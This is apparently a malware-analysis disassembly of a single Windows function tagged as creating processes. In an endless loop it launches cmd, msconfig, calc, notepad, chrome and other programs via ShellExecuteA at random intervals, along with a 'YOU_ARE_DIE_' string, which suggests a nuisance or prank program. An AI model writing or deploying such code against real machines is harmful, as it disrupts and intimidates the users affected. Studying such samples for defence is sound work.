Function at 0x403fc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.explorer.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.msconfig.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.calc.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.mspaint.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.YOU_ARE_DIE_
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.notepad.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.notepad.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.wordpad.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.chrome.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
call sym._rand
mov ecx, eax
mov edx, 0x57619f1
mov eax, ecx
imul edx
sar edx, 7
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1770
sub ecx, eax
mov eax, ecx
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
jmp 0x403fc6